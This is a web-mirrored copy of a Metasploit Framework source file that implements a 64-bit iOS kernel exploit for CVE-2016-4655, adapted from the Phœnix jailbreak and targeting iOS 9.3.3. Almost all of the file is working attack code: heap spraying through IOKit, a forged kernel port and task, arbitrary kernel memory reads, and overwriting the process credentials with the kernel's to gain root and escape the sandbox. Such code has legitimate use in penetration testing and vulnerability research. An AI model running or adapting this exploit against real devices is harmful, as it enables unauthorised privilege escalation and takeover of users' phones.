CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/exploits/CVE-2016-4655/exploit64.m
Views: 11779
1
/*
2
* exploit64.m - Get kernel_task, root and escape the sandbox
3
* Taken and modified from Phœnix Jailbreak
4
*
5
* Copyright (c) 2017 Siguza & tihmstar
6
*/
7
8
// Bugs by NSO Group / Lookout and Ian Beer.
9
// Thanks also to Max Bazaliy.
10
11
#include <stdio.h> // fprintf, stderr
12
#include <stdlib.h> // malloc, free
13
#include <sched.h> // sched_yield
14
#include <unistd.h> // getuid
15
#include <mach/mach.h>
16
#include <IOKit/IOKitLib.h>
17
18
#include "arch.h"
19
#include "find.h"
20
#include "mach-o.h"
21
#include "nvpatch.h"
22
23
/*** XXX ***/
24
// Offsets for iPhone SE (N69AP) 9.3.3
25
#define TASK_ITK_REGISTERED_OFFSET 0x288
26
#define TASK_BSDINFO_OFFSET 0x308
27
#define BSDINFO_PID_OFFSET 0x10
28
#define BSDINFO_KAUTH_CRED_OFFSET 0x118
29
#define KAUTH_CRED_REF_COUNT 0x10
30
/*** XXX ***/
31
32
#define msgh_request_port msgh_remote_port
33
#define msgh_reply_port msgh_local_port
34
#if !defined(_WALIGN_)
35
# define _WALIGN_(x) (((x) + 3) & ~3)
36
#endif
37
38
static kern_return_t r3gister(task_t task, mach_port_array_t init_port_set, mach_msg_type_number_t real_count, mach_msg_type_number_t fake_count)
39
{
40
#pragma pack(4)
41
typedef struct {
42
mach_msg_header_t Head;
43
mach_msg_body_t msgh_body;
44
mach_msg_ool_ports_descriptor_t init_port_set;
45
NDR_record_t NDR;
46
mach_msg_type_number_t init_port_setCnt;
47
} Request;
48
typedef struct {
49
mach_msg_header_t Head;
50
NDR_record_t NDR;
51
kern_return_t RetCode;
52
mach_msg_trailer_t trailer;
53
} Reply;
54
#pragma pack()
55
56
union {
57
Request In;
58
Reply Out;
59
} Mess;
60
Request *InP = &Mess.In;
61
Reply *OutP = &Mess.Out;
62
63
InP->msgh_body.msgh_descriptor_count = 1;
64
InP->init_port_set.address = (void*)(init_port_set);
65
InP->init_port_set.count = real_count;
66
InP->init_port_set.disposition = 19;
67
InP->init_port_set.deallocate = FALSE;
68
InP->init_port_set.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
69
InP->NDR = NDR_record;
70
InP->init_port_setCnt = fake_count; // was real_count
71
InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
72
InP->Head.msgh_request_port = task;
73
InP->Head.msgh_reply_port = mig_get_reply_port();
74
InP->Head.msgh_id = 3403;
75
76
kern_return_t ret = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
77
if(ret == KERN_SUCCESS)
78
{
79
ret = OutP->RetCode;
80
}
81
return ret;
82
}
83
84
static kern_return_t my_io_service_add_notification_ool
85
(
86
mach_port_t master_port,
87
io_name_t notification_type,
88
io_buf_ptr_t matching,
89
mach_msg_type_number_t matchingCnt,
90
mach_port_t wake_port,
91
io_async_ref64_t reference,
92
mach_msg_type_number_t referenceCnt,
93
mach_port_t *notification
94
)
95
{
96
#pragma pack(4)
97
typedef struct {
98
mach_msg_header_t Head;
99
mach_msg_body_t msgh_body;
100
mach_msg_ool_descriptor_t matching;
101
mach_msg_port_descriptor_t wake_port;
102
NDR_record_t NDR;
103
mach_msg_type_number_t notification_typeOffset;
104
mach_msg_type_number_t notification_typeCnt;
105
char notification_type[128];
106
mach_msg_type_number_t matchingCnt;
107
mach_msg_type_number_t referenceCnt;
108
io_user_reference_t reference[8];
109
} Request;
110
typedef struct {
111
mach_msg_header_t Head;
112
mach_msg_body_t msgh_body;
113
mach_msg_port_descriptor_t notification;
114
NDR_record_t NDR;
115
kern_return_t result;
116
mach_msg_trailer_t trailer;
117
} Reply;
118
#pragma pack()
119
120
union {
121
Request In;
122
Reply Out;
123
} Mess;
124
Request *InP = &Mess.In;
125
Reply *Out0P = &Mess.Out;
126
127
InP->msgh_body.msgh_descriptor_count = 2;
128
InP->matching.address = (void*)(matching);
129
InP->matching.size = matchingCnt;
130
InP->matching.deallocate = FALSE;
131
InP->matching.copy = MACH_MSG_PHYSICAL_COPY;
132
InP->matching.type = MACH_MSG_OOL_DESCRIPTOR;
133
InP->wake_port.name = wake_port;
134
InP->wake_port.disposition = 20;
135
InP->wake_port.type = MACH_MSG_PORT_DESCRIPTOR;
136
InP->NDR = NDR_record;
137
138
if(mig_strncpy_zerofill != NULL)
139
{
140
InP->notification_typeCnt = mig_strncpy_zerofill(InP->notification_type, notification_type, 128);
141
}
142
else
143
{
144
InP->notification_typeCnt = mig_strncpy(InP->notification_type, notification_type, 128);
145
}
146
147
unsigned int msgh_size_delta = _WALIGN_(InP->notification_typeCnt);
148
unsigned int msgh_size = (mach_msg_size_t)(sizeof(Request) - 192) + msgh_size_delta;
149
InP = (Request *) ((pointer_t) InP + msgh_size_delta - 128);
150
InP->matchingCnt = matchingCnt;
151
152
if(referenceCnt > 8)
153
{
154
return MIG_ARRAY_TOO_LARGE;
155
}
156
memcpy((char *) InP->reference, (const char *) reference, 8 * referenceCnt);
157
158
InP->referenceCnt = referenceCnt;
159
msgh_size += (8 * referenceCnt);
160
InP = &Mess.In;
161
InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
162
InP->Head.msgh_request_port = master_port;
163
InP->Head.msgh_reply_port = mig_get_reply_port();
164
InP->Head.msgh_id = 2870;
165
InP->Head.msgh_reserved = 0;
166
167
kern_return_t ret = mach_msg(&InP->Head, MACH_SEND_MSG | MACH_RCV_MSG | MACH_MSG_OPTION_NONE, msgh_size, (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
168
if(ret == KERN_SUCCESS)
169
{
170
ret = Out0P->result;
171
}
172
*notification = Out0P->notification.name;
173
return ret;
174
}
175
176
static kern_return_t my_io_service_open_extended
177
(
178
mach_port_t service,
179
task_t owningTask,
180
uint32_t connect_type,
181
NDR_record_t ndr,
182
io_buf_ptr_t properties,
183
mach_msg_type_number_t propertiesCnt,
184
mach_port_t *connection
185
)
186
{
187
#pragma pack(4)
188
typedef struct {
189
mach_msg_header_t Head;
190
mach_msg_body_t msgh_body;
191
mach_msg_port_descriptor_t owningTask;
192
mach_msg_ool_descriptor_t properties;
193
NDR_record_t NDR;
194
uint32_t connect_type;
195
NDR_record_t ndr;
196
mach_msg_type_number_t propertiesCnt;
197
} Request;
198
typedef struct {
199
mach_msg_header_t Head;
200
mach_msg_body_t msgh_body;
201
mach_msg_port_descriptor_t connection;
202
NDR_record_t NDR;
203
kern_return_t result;
204
mach_msg_trailer_t trailer;
205
} Reply;
206
#pragma pack()
207
208
union {
209
Request In;
210
Reply Out;
211
} Mess;
212
Request *InP = &Mess.In;
213
Reply *Out0P = &Mess.Out;
214
215
InP->msgh_body.msgh_descriptor_count = 2;
216
InP->owningTask.name = owningTask;
217
InP->owningTask.disposition = 19;
218
InP->owningTask.type = MACH_MSG_PORT_DESCRIPTOR;
219
220
InP->properties.address = (void*)(properties);
221
InP->properties.size = propertiesCnt;
222
InP->properties.deallocate = FALSE;
223
InP->properties.copy = MACH_MSG_PHYSICAL_COPY;
224
InP->properties.type = MACH_MSG_OOL_DESCRIPTOR;
225
226
InP->NDR = NDR_record;
227
InP->connect_type = connect_type;
228
InP->ndr = ndr;
229
InP->propertiesCnt = propertiesCnt;
230
InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
231
InP->Head.msgh_request_port = service;
232
InP->Head.msgh_reply_port = mig_get_reply_port();
233
InP->Head.msgh_id = 2862;
234
InP->Head.msgh_reserved = 0;
235
236
kern_return_t ret = mach_msg(&InP->Head, MACH_SEND_MSG | MACH_RCV_MSG | MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
237
if(ret == KERN_SUCCESS)
238
{
239
ret = Out0P->result;
240
}
241
*connection = Out0P->connection.name;
242
return ret;
243
}
244
245
enum
246
{
247
kOSSerializeDictionary = 0x01000000U,
248
kOSSerializeArray = 0x02000000U,
249
kOSSerializeSet = 0x03000000U,
250
kOSSerializeNumber = 0x04000000U,
251
kOSSerializeSymbol = 0x08000000U,
252
kOSSerializeString = 0x09000000U,
253
kOSSerializeData = 0x0a000000U,
254
kOSSerializeBoolean = 0x0b000000U,
255
kOSSerializeObject = 0x0c000000U,
256
257
kOSSerializeTypeMask = 0x7F000000U,
258
kOSSerializeDataMask = 0x00FFFFFFU,
259
260
kOSSerializeEndCollection = 0x80000000U,
261
262
kOSSerializeMagic = 0x000000d3U,
263
};
264
265
#define MIG_MAX 0x1000
266
#define PUSH(v) \
267
do \
268
{ \
269
if(idx >= MIG_MAX / sizeof(uint32_t)) \
270
{ \
271
return KERN_NO_SPACE; \
272
} \
273
dict[idx] = (v); \
274
++idx; \
275
} while(0)
276
277
static kern_return_t prepare_ptr(uint32_t *dict, size_t *size, uintptr_t ptr, size_t num)
278
{
279
size_t idx = 0;
280
281
PUSH(kOSSerializeMagic);
282
PUSH(kOSSerializeEndCollection | kOSSerializeDictionary | 1);
283
PUSH(kOSSerializeSymbol | 4);
284
PUSH(0x0079656b); // "key"
285
PUSH(kOSSerializeEndCollection | kOSSerializeArray | (uint32_t)num);
286
287
for(size_t i = 0; i < num; ++i)
288
{
289
PUSH(((i == num - 1) ? kOSSerializeEndCollection : 0) | kOSSerializeData | (2 * sizeof(uintptr_t)));
290
PUSH(((uint32_t*)&ptr)[0]);
291
PUSH(((uint32_t*)&ptr)[1]);
292
PUSH(((uint32_t*)&ptr)[0]);
293
PUSH(((uint32_t*)&ptr)[1]);
294
}
295
296
*size = idx * sizeof(uint32_t);
297
return KERN_SUCCESS;
298
}
299
300
#undef PUSH
301
302
static kern_return_t spray(const void *dict, size_t size, mach_port_t *port)
303
{
304
static io_master_t master = MACH_PORT_NULL;
305
if(master == MACH_PORT_NULL)
306
{
307
kern_return_t ret = host_get_io_master(mach_host_self(), &master);
308
if(ret != KERN_SUCCESS)
309
{
310
return ret;
311
}
312
}
313
314
return my_io_service_add_notification_ool(master, "IOServiceTerminate", (char*)dict, (uint32_t)size, MACH_PORT_NULL, NULL, 0, port);
315
}
316
317
static kern_return_t send_ports(mach_port_t target, mach_port_t payload, mach_msg_size_t num)
318
{
319
mach_port_t init_port_set[num];
320
for(size_t i = 0; i < num; ++i)
321
{
322
init_port_set[i] = payload;
323
}
324
325
#pragma pack(4)
326
typedef struct {
327
mach_msg_header_t Head;
328
mach_msg_body_t msgh_body;
329
mach_msg_ool_ports_descriptor_t init_port_set[1];
330
} Request;
331
#pragma pack()
332
333
Request req;
334
335
req.msgh_body.msgh_descriptor_count = 1;
336
req.init_port_set[0].address = (void*)(init_port_set);
337
req.init_port_set[0].count = num;
338
req.init_port_set[0].disposition = 19;
339
req.init_port_set[0].deallocate = FALSE;
340
req.init_port_set[0].type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
341
342
req.Head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
343
req.Head.msgh_request_port = target;
344
req.Head.msgh_reply_port = 0;
345
req.Head.msgh_id = 1337;
346
347
return mach_msg(&req.Head, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(req), 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
348
}
349
350
static kern_return_t receive_ports(mach_port_t port, mach_port_t **payload)
351
{
352
#pragma pack(4)
353
typedef struct {
354
mach_msg_header_t Head;
355
mach_msg_body_t msgh_body;
356
mach_msg_ool_ports_descriptor_t init_port_set[1];
357
mach_msg_trailer_t trailer;
358
} Reply;
359
#pragma pack()
360
361
Reply rep;
362
kern_return_t ret = mach_msg(&rep.Head, MACH_RCV_MSG | MACH_RCV_TIMEOUT, 0, sizeof(rep), port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
363
if(ret == KERN_SUCCESS && payload)
364
{
365
*payload = rep.init_port_set[0].address;
366
}
367
return ret;
368
}
369
370
static void release_ports(mach_port_t *arr, size_t size)
371
{
372
task_t self = mach_task_self();
373
for(size_t i = 0; i < size; ++i)
374
{
375
if(arr[i] != MACH_PORT_NULL)
376
{
377
mach_port_destroy(self, arr[i]);
378
arr[i] = MACH_PORT_NULL;
379
}
380
}
381
}
382
383
typedef struct {
384
struct {
385
uintptr_t data;
386
uintptr_t pad;
387
uintptr_t type;
388
} lock; // mutex lock
389
uint32_t ref_count;
390
char pad[TASK_BSDINFO_OFFSET - sizeof(uint32_t) - 3 * sizeof(uintptr_t)];
391
uintptr_t bsd_info;
392
} ktask_t;
393
394
typedef struct __attribute__((__packed__)) {
395
uint32_t ip_bits;
396
uint32_t ip_references;
397
struct __attribute__((__packed__)) {
398
uintptr_t data;
399
uint32_t pad;
400
uint32_t type;
401
} ip_lock; // spinlock
402
struct __attribute__((__packed__)) {
403
struct __attribute__((__packed__)) {
404
struct __attribute__((__packed__)) {
405
uint32_t flags;
406
uint32_t waitq_interlock;
407
uint64_t waitq_set_id;
408
uint64_t waitq_prepost_id;
409
struct __attribute__((__packed__)) {
410
uintptr_t next;
411
uintptr_t prev;
412
} waitq_queue;
413
} waitq;
414
uintptr_t messages;
415
natural_t seqno;
416
natural_t receiver_name;
417
uint16_t msgcount;
418
uint16_t qlimit;
419
} port;
420
} ip_messages;
421
natural_t ip_flags;
422
uintptr_t ip_receiver;
423
uintptr_t ip_kobject;
424
uintptr_t ip_nsrequest;
425
uintptr_t ip_pdrequest;
426
uintptr_t ip_requests;
427
uintptr_t ip_premsg;
428
uint64_t ip_context;
429
natural_t ip_mscount;
430
natural_t ip_srights;
431
natural_t ip_sorights;
432
} kport_t;
433
434
#define OUT_LABEL(label, code...) \
435
do \
436
{ \
437
ret = (code); \
438
if(ret != KERN_SUCCESS) \
439
{ \
440
LOG(#code ": %s (%u)", mach_error_string(ret), ret); \
441
goto label; \
442
} \
443
} while(0)
444
445
#define OUT(code...) OUT_LABEL(out, ##code)
446
447
static kern_return_t get_kernel_anchor(size_t *anchor)
448
{
449
kern_return_t ret = KERN_FAILURE;
450
task_t self = mach_task_self();
451
io_service_t service = MACH_PORT_NULL;
452
io_connect_t client = MACH_PORT_NULL;
453
io_iterator_t it = MACH_PORT_NULL;
454
io_object_t o = MACH_PORT_NULL;
455
456
service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("AppleMobileFileIntegrity"));
457
if(!MACH_PORT_VALID(service))
458
{
459
LOG("Invalid service");
460
goto out;
461
}
462
463
const char xml[] = "<plist><dict><key>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</key><integer size=\"512\">1768515945</integer></dict></plist>";
464
OUT(my_io_service_open_extended(service, self, 0, NDR_record, (char*)xml, sizeof(xml), &client));
465
OUT(IORegistryEntryGetChildIterator(service, "IOService", &it));
466
467
bool found = false;
468
while((o = IOIteratorNext(it)) != MACH_PORT_NULL && !found)
469
{
470
uintptr_t buf[16];
471
uint32_t size = (uint32_t)sizeof(buf);
472
ret = IORegistryEntryGetProperty(o, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", (char*)buf, &size);
473
if(ret == KERN_SUCCESS)
474
{
475
*anchor = buf[1];
476
found = true;
477
}
478
IOObjectRelease(o);
479
o = MACH_PORT_NULL;
480
}
481
482
out:;
483
if(it != MACH_PORT_NULL)
484
{
485
IOObjectRelease(it);
486
}
487
if(client != MACH_PORT_NULL)
488
{
489
IOObjectRelease(client);
490
}
491
if(service != MACH_PORT_NULL)
492
{
493
IOObjectRelease(service);
494
}
495
return ret;
496
}
497
498
#define NUM_FILL 100
499
#define NUM_SPRAY 1000
500
501
task_t get_kernel_task(vm_address_t *kbase)
502
{
503
kern_return_t ret;
504
mach_port_limits_t limits = { .mpl_qlimit = 1000 };
505
mach_port_t cleanup_port = MACH_PORT_NULL,
506
fake_port = MACH_PORT_NULL,
507
port = MACH_PORT_NULL;
508
uintptr_t kptr = 0,
509
kernel_base = 0;
510
task_t kernel_task = MACH_PORT_NULL,
511
self = mach_task_self();
512
size_t anchor = 0,
513
size_big = 0,
514
size_small = 0;
515
segment_t __text =
516
{
517
.addr = 0,
518
.len = 0,
519
.buf = NULL,
520
};
521
bool need_cleanup = false;
522
void *dict_big = malloc(MIG_MAX),
523
*dict_small = malloc(MIG_MAX);
524
mach_hdr_t *hdr = malloc(MAX_HEADER_SIZE);
525
if(!dict_big || !dict_small || !hdr)
526
{
527
LOG("Failed to allocate dicts");
528
goto out;
529
}
530
531
OUT(mach_port_allocate(self, MACH_PORT_RIGHT_RECEIVE, &cleanup_port));
532
OUT(mach_port_insert_right(self, cleanup_port, cleanup_port, MACH_MSG_TYPE_MAKE_SEND));
533
OUT(mach_port_set_attributes(self, cleanup_port, MACH_PORT_LIMITS_INFO, (mach_port_info_t)&limits, MACH_PORT_LIMITS_INFO_COUNT));
534
535
OUT(mach_port_allocate(self, MACH_PORT_RIGHT_RECEIVE, &port));
536
OUT(mach_port_insert_right(self, port, port, MACH_MSG_TYPE_MAKE_SEND));
537
OUT(mach_port_set_attributes(self, port, MACH_PORT_LIMITS_INFO, (mach_port_info_t)&limits, MACH_PORT_LIMITS_INFO_COUNT));
538
539
ktask_t ktask =
540
{
541
.ref_count = 100,
542
.bsd_info = 0xffffff8069696969, // dummy
543
};
544
kport_t kport =
545
{
546
.ip_bits = 0x80000002, // IO_BITS_ACTIVE | IOT_PORT | IKOT_TASK
547
.ip_references = 100,
548
.ip_lock =
549
{
550
.type = 0x11,
551
},
552
.ip_messages =
553
{
554
.port =
555
{
556
.receiver_name = 1,
557
.msgcount = MACH_PORT_QLIMIT_KERNEL,
558
.qlimit = MACH_PORT_QLIMIT_KERNEL,
559
},
560
},
561
.ip_receiver = 0x12345678, // dummy
562
.ip_srights = 99,
563
};
564
#define KREAD(addr, buf, size) \
565
do \
566
{ \
567
for(size_t i = 0; i < ((size) + sizeof(uint32_t) - 1) / sizeof(uint32_t); ++i) \
568
{ \
569
ktask.bsd_info = (addr + i * sizeof(uint32_t)) - BSDINFO_PID_OFFSET; \
570
OUT(pid_for_task(fake_port, (int*)((uint32_t*)(buf) + i))); \
571
} \
572
} while(0)
573
574
LOG("Leaking kernel slide...");
575
OUT(get_kernel_anchor(&anchor));
576
LOG("anchor: 0x%lx", anchor);
577
kptr = (uintptr_t)&kport;
578
579
LOG("Preparing data...");
580
OUT(prepare_ptr(dict_big, &size_big, kptr, 200));
581
OUT(prepare_ptr(dict_small, &size_small, kptr, 32));
582
kport.ip_kobject = (uintptr_t)&ktask;
583
584
again:;
585
LOG("Filling holes...");
586
sched_yield();
587
mach_port_t fill[NUM_FILL];
588
for(size_t i = 0; i < NUM_FILL; ++i)
589
{
590
OUT(spray(dict_big, size_big, &fill[i]));
591
}
592
593
LOG("Spraying data...");
594
sched_yield();
595
mach_port_t small[NUM_SPRAY];
596
for(size_t i = 0; i < NUM_SPRAY; ++i)
597
{
598
OUT(send_ports(port, port, 2));
599
OUT(spray(dict_small, size_small, &small[i]));
600
}
601
602
LOG("Punching holes...");
603
sched_yield();
604
for(size_t i = 0; i < NUM_SPRAY; ++i)
605
{
606
OUT(receive_ports(port, NULL));
607
}
608
609
mach_port_t arr[2] = { MACH_PORT_NULL, MACH_PORT_NULL };
610
OUT(r3gister(self, arr, 2, 3));
611
612
mach_port_t *arrz = NULL;
613
mach_msg_type_number_t sz = 3;
614
mach_ports_lookup(self, &arrz, &sz);
615
LOG("ports %x %x %x\n", arrz[0], arrz[1], arrz[2]);
616
617
fake_port = arrz[2];
618
if(!MACH_PORT_VALID(fake_port))
619
{
620
LOG("Exploit failed, retrying...");
621
// TODO: fix ports leak
622
goto again;
623
}
624
625
LOG("Determining kernel base...");
626
kernel_base = (anchor & 0xfffffffffff00000) + 0x4000;
627
for(uint32_t val = 0; 1; kernel_base -= 0x100000)
628
{
629
KREAD(kernel_base, &val, sizeof(val));
630
if(val == MH_MAGIC_64)
631
{
632
break;
633
}
634
}
635
LOG("Kernel base: 0x%lx", kernel_base);
636
637
KREAD(kernel_base, hdr, MAX_HEADER_SIZE);
638
CMD_ITERATE(hdr, cmd)
639
{
640
switch(cmd->cmd)
641
{
642
case MACH_LC_SEGMENT:
643
{
644
mach_seg_t *seg = (mach_seg_t*)cmd;
645
if(strcmp(seg->segname, "__TEXT") == 0)
646
{
647
__text.addr = seg->vmaddr;
648
__text.len = seg->vmsize;
649
__text.buf = malloc(seg->vmsize);
650
LOG("Found __TEXT segment at %lx", __text.addr);
651
KREAD(__text.addr, __text.buf, __text.len);
652
goto found;
653
}
654
}
655
break;
656
}
657
}
658
if(__text.buf == NULL)
659
{
660
LOG("Failed to find __TEXT segment");
661
goto out;
662
}
663
664
found:;
665
uintptr_t kernel_task_sym = find_kernel_task(&__text),
666
ipc_space_kernel_sym = find_ipc_space_kernel(&__text);
667
if(!kernel_task_sym || !ipc_space_kernel_sym)
668
{
669
LOG("Failed to find kernel symbols");
670
goto out;
671
}
672
673
uintptr_t kernel_task_addr = 0;
674
KREAD(kernel_task_sym, &kernel_task_addr, sizeof(kernel_task_addr));
675
LOG("kernel_task address: 0x%lx", kernel_task_addr);
676
677
uintptr_t ipc_space_kernel_addr = 0;
678
KREAD(ipc_space_kernel_sym, &ipc_space_kernel_addr, sizeof(ipc_space_kernel_addr));
679
LOG("ipc_space_kernel address: 0x%lx", ipc_space_kernel_addr);
680
681
kport.ip_receiver = ipc_space_kernel_addr;
682
kport.ip_kobject = kernel_task_addr;
683
684
LOG("Getting real kernel_task...");
685
OUT(task_get_special_port(fake_port, 1, &kernel_task));
686
release_ports(&fake_port, 1); // need to release before return, port is allocated on the stack
687
688
LOG("Getting root...");
689
OUT(r3gister(kernel_task, &self, 1, 1));
690
uintptr_t self_port_addr = 0;
691
vm_size_t size = sizeof(self_port_addr);
692
OUT(vm_read_overwrite(kernel_task, kernel_task_addr + TASK_ITK_REGISTERED_OFFSET, size, (vm_address_t)&self_port_addr, &size));
693
LOG("self port address: 0x%lx", self_port_addr);
694
OUT(r3gister(kernel_task, NULL, 0, 0));
695
696
uintptr_t self_task_addr = 0;
697
size = sizeof(self_task_addr);
698
OUT(vm_read_overwrite(kernel_task, self_port_addr + ((uintptr_t)&kport.ip_kobject - (uintptr_t)&kport), size, (vm_address_t)&self_task_addr, &size));
699
LOG("self task address: 0x%lx", self_task_addr);
700
701
uintptr_t self_proc_addr = 0;
702
size = sizeof(self_proc_addr);
703
OUT(vm_read_overwrite(kernel_task, self_task_addr + TASK_BSDINFO_OFFSET, size, (vm_address_t)&self_proc_addr, &size));
704
LOG("self proc address: 0x%lx", self_proc_addr);
705
706
// We're borrowing the kernel's creds here
707
uintptr_t kern_proc_addr = 0;
708
size = sizeof(kern_proc_addr);
709
OUT(vm_read_overwrite(kernel_task, kernel_task_addr + TASK_BSDINFO_OFFSET, size, (vm_address_t)&kern_proc_addr, &size));
710
LOG("kern_proc address: 0x%lx", kern_proc_addr);
711
712
uintptr_t kern_kauth_cred_addr = 0;
713
size = sizeof(kern_kauth_cred_addr);
714
OUT(vm_read_overwrite(kernel_task, kern_proc_addr + BSDINFO_KAUTH_CRED_OFFSET, size, (vm_address_t)&kern_kauth_cred_addr, &size));
715
LOG("kern kauth cred address: 0x%lx", kern_kauth_cred_addr);
716
717
// Ref count
718
unsigned long refs = 0;
719
size = sizeof(refs);
720
OUT(vm_read_overwrite(kernel_task, kern_kauth_cred_addr + KAUTH_CRED_REF_COUNT, size, (vm_address_t)&refs, &size));
721
++refs;
722
size = sizeof(refs);
723
OUT(vm_write(kernel_task, kern_kauth_cred_addr + KAUTH_CRED_REF_COUNT, (vm_offset_t)&refs, sizeof(refs)));
724
725
// Yeehaa
726
OUT(vm_write(kernel_task, self_proc_addr + BSDINFO_KAUTH_CRED_OFFSET, (vm_offset_t)&kern_kauth_cred_addr, sizeof(kern_kauth_cred_addr)));
727
728
setuid(0); // update host port, security token and whatnot
729
LOG("uid: %u", getuid());
730
731
LOG("Cleaning up...");
732
OUT(r3gister(self, arr, 2, 2));
733
if(need_cleanup)
734
{
735
while(1)
736
{
737
mach_port_t *dangling_port = NULL;
738
ret = receive_ports(cleanup_port, &dangling_port);
739
if(ret != KERN_SUCCESS)
740
{
741
break;
742
}
743
744
LOG("Unregistering port %x...", *dangling_port);
745
OUT(r3gister(kernel_task, dangling_port, 1, 1));
746
uintptr_t zero = 0;
747
OUT(vm_write(kernel_task, kernel_task_addr + TASK_ITK_REGISTERED_OFFSET, (vm_offset_t)&zero, sizeof(zero)));
748
}
749
}
750
751
out:;
752
if(MACH_PORT_VALID(fake_port) && __text.buf == NULL)
753
{
754
// If we got here but got an actual port and do not yet have a leaked __text segment, that means the pointer we read was the wrong one.
755
// We want to try again, but we need to retain the wrong port because mach_ports_register releases it, which means if we do nothing
756
// and our process dies, the ports cleanup would cause a kernel panic.
757
// To prevent that, we send it to the cleanup port (thereby increasing the ref count) so that later when we have kernel memory access,
758
// we can register the port on the kernel task and then zero out the pointer (without decreasing the ref count).
759
ret = send_ports(cleanup_port, fake_port, 1);
760
if(ret == KERN_SUCCESS)
761
{
762
fake_port = MACH_PORT_NULL;
763
need_cleanup = true;
764
LOG("Exploit failed, retrying...");
765
// TODO: fix ports leak
766
goto again;
767
}
768
printf("send_ports(): %s\n", mach_error_string(ret));
769
}
770
release_ports(small, NUM_SPRAY);
771
release_ports(fill, NUM_FILL);
772
if(dict_big)
773
{
774
free(dict_big);
775
}
776
if(dict_small)
777
{
778
free(dict_small);
779
}
780
if(hdr)
781
{
782
free(hdr);
783
}
784
if(__text.buf != NULL)
785
{
786
free(__text.buf);
787
}
788
*kbase = kernel_base;
789
return kernel_task;
790
}
791
792